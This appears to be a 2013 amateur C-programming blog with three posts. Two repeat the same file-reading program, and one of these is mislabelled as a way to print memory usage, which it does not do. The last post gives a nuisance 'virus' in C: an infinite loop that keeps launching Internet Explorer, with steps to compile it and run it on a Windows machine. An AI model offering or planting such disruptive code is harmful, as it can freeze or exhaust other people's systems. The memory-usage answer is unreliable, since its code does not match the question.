Monday 17 June 2013

;)


#include <stdio.h>
#include <string.h>
#define SIZE 30

int main()
{
  char name[ SIZE ]; 
  FILE *fpPtr; 

  if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
    printf( "File could not be opened\n" );
  } 
  else {
    printf( "%s\n", "Name" );
    fscanf( fpPtr, "%s", name );

    while( !feof( fpPtr ) ) {
       printf( "%s\n", name );
       fscanf( fpPtr, "%s", name );
    } 

    fclose( fpPtr ); 
  } 

 return 0; 
};

Sunday 3 March 2013

How to print the memory usage : C Programming by "Gopal Krishna"

You want to find out how much memory is this program using .
 Any code or function 
i should add to find the total memory used by this program. 
I don't want to check task manager for this.
 I need to print the memory usage.


#include <stdio.h>
#include <string.h>
#define SIZE 30

int main()
{
  char name[ SIZE ]; 
  FILE *fpPtr; 

  if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
    printf( "File could not be opened\n" );
  } 
  else {
    printf( "%s\n", "Name" );
    fscanf( fpPtr, "%s", name );

    while( !feof( fpPtr ) ) {
       printf( "%s\n", name );
       fscanf( fpPtr, "%s", name );
    } 

    fclose( fpPtr ); 
  } 

 return 0; 
};


Try This ..........................
C Programming  By GOPAL KRISHNA 

Saturday 23 February 2013

Creation of viruses V I A C Programming .

THIS TUT. ONLY FOR STUDY PURPOSE 

I SAY BEFORE , A STYLE OF TRICK ,
 HOW TO SHUT DOWN THE SYSTEM IN LAST PROGRAM ....

NOW : 
 C program such that when we will click on its .exe file then it will open internet explorer at infinite times?






Step 1 :  write code :

#include<stdio.h>
#include<dos.h>

int main (void){

for(; ;){

system("c:\\progra~1\\intern~1\\iexplore.exe");

}


return 0;
}


Step 2: Save the above file. Let file name is internet.c


Step 3: Only compile the above program.


Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)


Step 5: Double click on its .exe file (internet.exe)

This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ...... 


(C by Gopal Krishna)